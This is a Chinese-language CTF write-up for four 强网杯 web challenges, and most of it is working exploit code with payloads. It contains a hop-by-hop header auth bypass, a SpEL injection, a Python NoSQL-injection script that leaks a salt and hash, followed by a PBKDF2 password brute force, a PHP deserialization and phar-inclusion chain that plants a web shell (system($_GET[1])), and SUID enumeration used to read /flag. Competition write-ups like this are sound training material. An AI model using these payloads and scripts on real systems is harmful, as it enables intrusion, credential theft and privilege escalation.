强网杯
web
SecretVault
考点参考如下文章
Hop-by-hop header vulnerability in Go Standard Library Reverse Proxy
漏洞点在uid = request.headers.get('X-User', '0')
当X-User为空时,默认值为0
而admin的uid刚好为0
所以当我们利用文章中的payload在Connection中加入X-User,即可在代理加入X-User头后再次将其删除,payload如下
Connection: close,X-User

成功拿到flag
bbjv
关键代码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| @RestController public class GatewayController { private final EvaluationService evaluationService;
public GatewayController(EvaluationService evaluationService) { this.evaluationService = evaluationService; }
@GetMapping({"/check"}) public String checkRule(@RequestParam String rule) throws FileNotFoundException { String result = this.evaluationService.evaluate(rule); File flagFile = new File(System.getProperty("user.home"), "flag.txt"); if (flagFile.exists()) { try (BufferedReader br = new BufferedReader(new FileReader(flagFile))) { String content = br.readLine(); result = result + "<br><b>\ud83d\udea9 Flag:</b> " + content; } catch (IOException e) { throw new RuntimeException(e); } }
return result; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @Service public class EvaluationService { private final ExpressionParser parser = new SpelExpressionParser(); private final EvaluationContext context;
public EvaluationService(EvaluationContext context) { this.context = context; }
public String evaluate(String expression) { try { Object result = this.parser.parseExpression(expression, new TemplateParserContext()).getValue(this.context); return "Result: " + String.valueOf(result); } catch (Exception e) { return "Error: " + e.getMessage(); } } }
|
存在waf
1 2 3 4 5 6 7 8
| public class SecurePropertyAccessor extends ReflectivePropertyAccessor { public SecurePropertyAccessor() { }
public boolean canRead(EvaluationContext context, Object target, String name) throws AccessException { return false; } }
|
思路很直接,就是SPEL注入获取flag,但是waf禁止了属性读取,flag在tmp目录下,修改user.home为tmp即可
#{#systemProperties['user.home'] = '/tmp'}

获得flag
anime
搜索到相关题目HCMUS-CTF-2025:MAL
利用users的排序功能进行hash爆破,不同的地方为由于是公共靶机,用户不止目标用户,修改代码为读取尽可能多的用户,比较目标用户和注册用户的顺序
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import requests from bs4 import BeautifulSoup
URL = "http://47.105.120.74:1010" wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]
session = requests.Session() cookies = { "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJhYWFhYSJ9fQ==", "session.sig": "qwfttVYZITX4KfPxoYlmxKACquo" }
# Viết lại script để tự động hóa quy trình register
salt = "" for index_salt in range(32): for i in range(len(wordlist)): data = { "data.fullname": "abc", "data.email": "", "data.phone": "", "data.website": "", "secret[$ne]": "null", "data.address.street": "", "data.address.city": "", "data.address.state": "", "data.address.zip": "", "salt": f"{salt}{wordlist[i]}" } res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False) res = session.get(f"{URL}/users?limit=600&sort=salt", cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') users = soup.find_all('a', {'class': 'anime_title'}) usernames = [u.text.strip() for u in users] name1 = "TTXSMcc" name2 = "aaaaa" idx1=0 idx2=0 if name1 in usernames and name2 in usernames: idx1 = usernames.index(name1) idx2 = usernames.index(name2) if idx1 < idx2: if index_salt == 31: salt += wordlist[i] break salt += wordlist[i - 1] print(f"Found salt: {salt}") break print(f"Final salt: {salt}")
hashed = "" for index_salt in range(64): for i in range(len(wordlist)): data = { "data.fullname": "abc", "data.email": "", "data.phone": "", "data.website": "", "secret[$ne]": "null", "data.address.street": "", "data.address.city": "", "data.address.state": "", "data.address.zip": "", "hash": f"{hashed}{wordlist[i]}" } res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False) res = session.get(f"{URL}/users?limit=600&sort=hash", cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') users = soup.find_all('a', {'class': 'anime_title'}) usernames = [u.text.strip() for u in users] name1 = "TTXSMcc" name2 = "aaaaa" idx1=0 idx2=0 if name1 in usernames and name2 in usernames: idx1 = usernames.index(name1) idx2 = usernames.index(name2) if idx1 < idx2: if index_salt == 63: hashed += wordlist[i] break hashed += wordlist[i - 1] print(f"Found hashed: {hashed}") break print(f"Final hash: {hashed}") print(f"Final salt: {salt}")
|


得到hash和salt,再爆破5位数字
c8eb3c22ae12612355a8b73d0e0ccbdb
2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| const crypto = require("crypto");
const salt = "c8eb3c22ae12612355a8b73d0e0ccbdb"; const target_hash = "2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98";
for (let i = 10000; i <= 99999; i++) { const password = i.toString().padStart(5, "0"); const hash = crypto .pbkdf2Sync(password, salt, 25000, 32, "sha256") .toString("hex"); if (hash === target_hash) { console.log("Found password:", password); process.exit(0); } if (i % 1000 === 0) { console.log("Tried:", password); } } console.log("Password not found");
|
爆破得到密码89195

然后登录
发现秘钥已被缓存,并且网站上出现的密钥不是flag
利用大小写不敏感的特性,将url中的TTXSMcc转换为大写或小写,即可得到flag

ezphp
源代码
1
| <?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
|
base64解码出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key;
public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed); $uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) { unlink($file); } } $randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename; if (system("cp " . $uploadedFile . " " . $uploadPath)) { echo "success upload!"; } else { echo "error"; } } }
public function __wakeup() { phpinfo(); }
public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//', $file)) { die("error"); } $file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); } include("uploads/" . $file); } } } }; }
public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag; if ($this->key == 'class') { new $func(); } else if ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } }
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N'; @unserialize($ser);
|
从__destruct入手可以实例化一个类或者调用一个方法,而test的__construct会定义一个匿名类,并在其中定义一个匿名函数readflag,然后还可以上传文件,但是文件名不可控
先调用phpinfo看看,payload
O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}

得知重点为得知php版本为7.4.33,然后禁用了很多函数
先试一试文件上传,测试发现rand和mt_srand的种子共用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
date_default_timezone_set('Asia/Shanghai');
function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); echo $r . " "; $randomString .= $characters[$r]; } return $randomString; } $filename=1; while(True) { $time = date('Hi'); $filename=1; $seed = $time . intval($filename); echo $seed."\n"; mt_srand($seed); $randomStr = generateRandomString(8); echo $randomStr."\n"; sleep(1); }
|

发现在上传文件时,文件名是根据时间和随机字符串生成的,而随机字符串是根据时间和文件名的种子生成的,所以可以在本地跑脚本,在得到预期的文件名后再上传,即可控制并预测文件名,但是文件名只有a-z,不能从system处进行RCE
再看看readflag函数,想办法直接调用匿名函数,找到相关文章
知识星球2023年10月PHP函数小挑战
尝试在本地调试,找到另一个关于调试的文章
vscode远程调试php底层代码
本地搭建环境进行调试,找到对应readflag对应的函数名\0readflag/var/www/html/index.php(1) : eval()'d code:1$1b

编写代码尝试调用

注意由于最后$后的数字会随着调用次数自增,所以攻击时未成功可以尝试重开靶机
测试题目后,未报错但显示白页,说明成功调用readflag函数。
接下来就是readflag函数的理由可以进行文件包含,但是不能出现php,搜索到phar相关trick文章当include邂逅phar
简单来说,就是通过分析php源码发现只要include的文件名包含phar即可触发源码中处理phar文件的函数
而刚好我们可以预测文件名,就可以在本地跑出来一个带有phar的文件名然后再上传,即可在后续的包含中触发phar解析
我们搞一个phar写马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $phar = new Phar('exploit.phar'); $phar->startBuffering();
$stub = <<<'STUB' <?php system('echo "<?php system(\$_GET[1]); ?>" > 1.php'); __HALT_COMPILER(); ?> STUB;
$phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering();
?>
|
改名为1,gzip压缩
gzip 1
然后爆破一下前4位为phar的种子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
date_default_timezone_set('Asia/Shanghai');
function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; } $filename=1; while(True) { $time = date('Hi'); $seed = $time . intval($filename); $filename++; mt_srand($seed); $randomStr = generateRandomString(4); if ($randomStr == "phar") { echo $time . " " . $seed . " " . $randomStr . "\n"; break; } }
|
得到结果1556 155618715 phar
即在该分钟内传入18715作为readflag即可触发phar解析
生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| <?php
function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key; public function __construct() { // $this->readflag = new class { // public function __construct() // { // if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { // $time = date('Hi'); // $filename = $GLOBALS['filename']; // $seed = $time . intval($filename); // mt_srand($seed); // $uploadDir = 'uploads/'; // $files = glob($uploadDir . '*'); // foreach ($files as $file) { // if (is_file($file)) unlink($file); // } // $randomStr = generateRandomString(8); // $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; // $GLOBALS['file'] = $newFilename; // $uploadedFile = $_FILES['file']['tmp_name']; // $uploadPath = $uploadDir . $newFilename; // if (system("cp ".$uploadedFile." ". $uploadPath)) { // echo "success upload!"; // } else { // echo "error"; // } // } // } // public function __wakeup() // { // phpinfo(); // } // public function readflag() // { // function readflag() // { // if (isset($GLOBALS['file'])) { // $file = $GLOBALS['file']; // $file = basename($file); // if (preg_match('/:\/\//', $file)) die("error"); // $file_content = file_get_contents("uploads/" . $file); // if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { // die("Illegal content detected in the file."); // } // include("uploads/" . $file); // } // } // } // }; } // public function __destruct() // { // $func = $this->f; // $GLOBALS['filename'] = $this->readflag; // if ($this->key == 'class') { // new $func(); // } else if ($this->key == 'func') { // $func(); // } else { // highlight_file('index.php'); // } // } } // $a=new test(); // $a->f="phpinfo"; // $a->key="func"; // print_r(serialize($a)); // print_r(urlencode(serialize($a))); $x = new test(); $x->key = "class"; $x->f = "test"; $x->readflag ='18715'; $b=new test(); $b->readflag='18715'; $b->f="\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1"; $b->key='func'; $c=[$b,$x]; print_r(serialize($c)); print_r(urlencode(serialize($c)));
|
a:2:{i:0;O:4:"test":3:{s:8:"readflag";s:5:"18715";s:1:"f";s:56:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:8:"readflag";s:5:"18715";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}}
然后传入payload即可触发phar解析
1 2 3 4 5
| import requests target = 'http://localhost:8080/' pay = 'a:2:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"435436";s:1:"f";s:56:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:8:"readflag";s:6:"435436";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}}' res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))}) print(res.text)
|
成功上传1.php的shell,连接后需要提权
find / -user root -perm -4000 -print 2>/dev/null
发现有base64,直接读即可
base64 "/flag" | base64 --decode